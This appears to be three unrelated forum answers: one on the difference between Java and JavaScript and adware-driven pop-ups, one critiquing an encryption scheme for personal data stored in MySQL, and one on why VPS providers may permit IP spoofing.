Java and JavaScript are not the same.  They aren't even related.  JavaScript is an interpreted scripting language that is used by websites to automate site behavior and interactivity on the client side.  Java is an actual computer language that is run by a Java Virtual Machine (JVM) and is used for applications or occasionally applets that may be embedded into a website.  JavaScript is what is disabled by the browser.  For Java you would need to change the settings for the Java add-in for your browser.  It will be called "Java Platform something-or-other", depending on your version when in Firefox.

Update: If these are disabled or not installed already, then you probably already have adware on your system that is causing the pop-ups by actually asking the browser to load them directly.  Try running something like Malware Bytes to see if it finds anything.


Saving Personal Information (Name, Address, Phone, Email) in MySQL Database

Sorry to disappoint you, but your security model doesnt work in reality. Let me explain by using an example workflow of a user editing his profile.

The user logs in, browses to his profile page and enters his data to be saved.
When saving, you need your symmetrical key for AES. This can be
either a global password, in use for all private data on your server
or a user-owned password that contains his password at some point (as all other data is publicly available / stored)

2a: Global Password

Using a global password, no matter where you store it, will always be easy to compromise. Lets assume your server requests the global password from a second server (that can be compromised itself too anyways) whenever a user (admin or not) accesses it. This can easily be sniffed as an attacker knows your internal endpoint. If you hardcode it, it can easily be read.

2b: User-owned Password

This has to contain an information so secret no one with access to the server can read it, like the password (as its supposed to be only stored inside a hash). This way the user would be able to read & save his private data but you as an admin, having the same opportunity as an attacker, wouldnt be able to read or edit them.

So what now?

Its as simple as disappointing - an attacker always has the same amount of possibilities as you (the admin) so there is no way to keep the data perfectly save from either one. What should be done instead as a matter of best-practice is the need-to-know concept - only save data you really need for your service to be available at all time like his email, name and birthdate. All other data can be saved and encrypted by a user-owned token and be used at runtime (only!) to decrypt data to offer it to the user like his address for a purchase process. This will reduce your possibilities regarding data analysis by far, but data security and broad analysis never like each other anyways.


Why is spoofing allowed in reputed VPS services?

The reason why spoofing is allowed may lie in thresholds and risk-based security.

Thresholds because single occurrences do not always imply incidents. A certain amount of packets of some kind are required to cause meaningful damage (e.g. DDoS). Flooding spoofed packets may trigger an action.

Risk because all good security is based on risk versus cost. If a VPS service earns more money (in customers and purchases) and/or saves more money (in staff, equipment and licences) by keeping a feature open than they lose (in bad reputation and responding to incidents), they will probably maintain the feature regardless of ethics and best practices.

Lastly, there may be some legitimate use cases for spoofing though none come to mind right now... Anyone?